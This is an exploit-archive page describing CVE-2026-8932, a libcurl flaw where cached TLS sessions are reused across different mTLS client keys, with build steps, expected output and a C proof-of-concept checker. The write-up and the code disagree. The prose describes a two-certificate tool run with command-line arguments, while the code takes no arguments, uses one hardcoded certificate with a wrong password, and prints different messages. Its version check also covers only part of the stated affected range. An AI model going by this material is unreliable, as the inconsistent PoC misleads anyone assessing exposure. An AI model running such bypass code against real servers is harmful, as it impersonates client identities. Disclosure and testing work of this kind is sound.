PoC Archive PoC Archive
Low CVE-2026-8932 patched

libcurl mTLS Connection Reuse Authentication Bypass (CVE-2026-8932)

by Ashraf Zaryouh / 0xBlackash · 2026-06-30

Severity
Low
CVE
CVE-2026-8932
Category
network
Affected product
libcurl (embedded library; standalone curl CLI unaffected)
Affected versions
7.7 through 8.20.0
Disclosed
2026-06-30
Patch status
patched

Metadata

FieldValue
Date Added2026-06-30
Last Updated2026-06-30
Author / ResearcherAshraf Zaryouh / 0xBlackash
CVE / AdvisoryCVE-2026-8932
Categorynetwork
SeverityLow
CVSS ScoreLow (no numeric score published)
StatusPoC
Tagsauthentication-bypass, mTLS, TLS, libcurl, connection-reuse, client-certificate, C, Low
RelatedN/A

Affected Target

FieldValue
Software / Systemlibcurl (embedded library; standalone curl CLI unaffected)
Versions Affected7.7 through 8.20.0
Language / PlatformC (PoC); any platform embedding libcurl
Authentication RequiredN/A (the bug bypasses mTLS authentication itself)
Network Access RequiredYes (HTTPS/TLS endpoint)

Summary

CVE-2026-8932 is a Low-severity authentication bypass in libcurl’s TLS connection reuse logic. Certain mTLS private-key configuration parameters (key file path, key type, key password) were omitted from the connection-matching comparison performed when libcurl evaluates whether an existing TLS session can be reused. As a result, when an application switches from one client certificate to another within a shared connection pool, libcurl incorrectly reuses the existing TLS session authenticated under the first certificate, rather than performing a fresh handshake with the new certificate. The server receives traffic authenticated as the original client even though the application believes it is using different credentials. Notably, this bug dates to curl 7.7 (2001), making it the oldest security vulnerability ever fixed in the libcurl project — undetected for approximately 25 years. Fixed in libcurl 8.21.0.


Vulnerability Details

Root Cause

libcurl’s SSL session reuse logic evaluates a set of connection parameters to determine whether a cached TLS connection is compatible with a new request. The comparison did not include:

  • CURLOPT_SSLKEY (private key file path)
  • CURLOPT_SSLKEYTYPE (key type)
  • CURLOPT_KEYPASSWD (key password)

When CURLSHOPT_SHARE + CURL_LOCK_DATA_SSL_SESSION is used to share SSL sessions across handles, a new handle configured with a different client certificate matched the cached session under the old certificate, and the old session was reused without renegotiation.

CWE-305 (Authentication Bypass by Primary Weakness).

Attack Scenario

  1. Application uses libcurl with shared SSL session (CURLSHOPT_SHARE).
  2. Request A is made with Client Certificate A — TLS handshake succeeds, session cached.
  3. Application reconfigures libcurl with Client Certificate B for Request B.
  4. libcurl finds cached session from Request A matches the (incomplete) comparison criteria.
  5. libcurl reuses the old TLS session; server authenticates Request B as Certificate A.
  6. Authentication boundary violated: Request B is processed under the wrong client identity.

Impact

  • Incorrect client identity presented to mTLS-gated servers.
  • Authentication bypass in multi-tenant or certificate-rotation scenarios.
  • Most severe in applications that manage multiple client identities through a shared libcurl session pool (e.g., API gateways, service meshes, embedded agents).
  • Standalone curl CLI is not affected (it does not use shared session pools in this pattern).

Environment / Lab Setup

Compiler: gcc with libcurl dev headers (libcurl < 8.21.0)
Test:     mTLS-enabled HTTPS server with two distinct client certificates

Build PoC

1
2
3
4
git clone https://github.com/0xBlackash/CVE-2026-8932
cd CVE-2026-8932
gcc -o poc CVE-2026-8932.c -lcurl
./poc https://target-mtls-server.example.com cert_a.pem cert_b.pem key_a.pem key_b.pem

Proof of Concept

What the PoC Demonstrates

The PoC creates two libcurl handles sharing an SSL session pool:

  • Handle 1: configured with Certificate A.
  • Handle 2: configured with Certificate B.

A vulnerable libcurl returns CURLE_OK for both requests and sends both under Certificate A’s TLS session, demonstrating the reuse. A patched libcurl rejects the mismatched session and performs a fresh handshake for Handle 2.

Expected Output (Vulnerable)

[*] Request 1 (Certificate A): CURLE_OK — authenticated as cert_a
[*] Request 2 (Certificate B): CURLE_OK — authenticated as cert_a (BYPASS)
[!] Session reuse detected. Both requests used Certificate A's TLS session.

Expected Output (Patched)

[*] Request 1 (Certificate A): CURLE_OK
[*] Request 2 (Certificate B): CURLE_OK — fresh TLS handshake with cert_b
[+] No bypass. New handshake performed.

Detection & Indicators of Compromise

1
2
3
4
5
ldconfig -p | grep libcurl
curl --version | head -1

ldd /usr/bin/sftp /usr/bin/wget 2>/dev/null | grep libcurl
find /usr/lib /usr/local/lib -name "libcurl.so*" | xargs ls -la

Remediation

ActionDetail
PatchUpgrade libcurl to 8.21.0 or later
WorkaroundAvoid CURL_LOCK_DATA_SSL_SESSION sharing across handles that use different client certificates
VerifyAudit all applications using libcurl with shared SSL sessions and mTLS client certificates

References

CVE-2026-8932.c
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
/*
 * CVE-2026-8932 - Reliable Safe/Vulnerable Checker
 * Author: Ashraf Zaryouh "0xBlackash"
 * v3 - With version fallback
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>

#define RED     "\033[1;31m"
#define GREEN   "\033[1;32m"
#define YELLOW  "\033[1;33m"
#define RESET   "\033[0m"

#define URL     "https://server.test:8443/"
#define RESOLVE "server.test:8443:127.0.0.1"
#define CERT    "clientA.crt"
#define KEY     "clientA.key"

static size_t write_cb(char *ptr, size_t size, size_t nmemb, void *data) {
    return size * nmemb;
}

int main(void) {
    const char *ver = curl_version();
    printf(YELLOW "=== CVE-2026-8932 ===\n" RESET);
    printf("Author: Ashraf Zaryouh \"0xBlackash\"\n");
    printf("Detected: %s\n\n", ver);

    /* Version-based fallback */
    if (strstr(ver, "8.20.0") || strstr(ver, "8.19.") || strstr(ver, "8.18.")) {
        printf(RED "VULNERABLE (Version match)\n" RESET);
        printf("libcurl 7.7 - 8.20.0 are affected.\n");
        printf("Update to 8.21.0 or newer.\n");
        return 1;
    }

    /* Dynamic test */
    CURL *A = curl_easy_init();
    CURL *B = curl_easy_init();
    CURLSH *share = curl_share_init();
    struct curl_slist *resolve = curl_slist_append(NULL, RESOLVE);

    curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_CONNECT);
    curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_SSL_SESSION);

    /* Setup A */
    curl_easy_setopt(A, CURLOPT_URL, URL);
    curl_easy_setopt(A, CURLOPT_RESOLVE, resolve);
    curl_easy_setopt(A, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(A, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(A, CURLOPT_WRITEFUNCTION, write_cb);
    curl_easy_setopt(A, CURLOPT_SHARE, share);
    curl_easy_setopt(A, CURLOPT_SSLCERT, CERT);
    curl_easy_setopt(A, CURLOPT_SSLKEY, KEY);
    curl_easy_setopt(A, CURLOPT_KEYPASSWD, "aaa");

    /* Setup B */
    curl_easy_setopt(B, CURLOPT_URL, URL);
    curl_easy_setopt(B, CURLOPT_RESOLVE, resolve);
    curl_easy_setopt(B, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(B, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(B, CURLOPT_WRITEFUNCTION, write_cb);
    curl_easy_setopt(B, CURLOPT_SHARE, share);
    curl_easy_setopt(B, CURLOPT_SSLCERT, CERT);
    curl_easy_setopt(B, CURLOPT_SSLKEY, KEY);
    curl_easy_setopt(B, CURLOPT_KEYPASSWD, "wrong-password");

    CURLcode resA = curl_easy_perform(A);
    CURLcode resB = curl_easy_perform(B);

    if (resA == CURLE_OK && resB == CURLE_OK) {
        printf(RED "VULNERABLE" RESET " → Both requests succeeded\n");
    } else {
        printf(GREEN "SAFE" RESET " → Correct rejection of bad key\n");
    }

    curl_easy_cleanup(A);
    curl_easy_cleanup(B);
    curl_share_cleanup(share);
    curl_slist_free_all(resolve);
    curl_global_cleanup();

    return 0;
}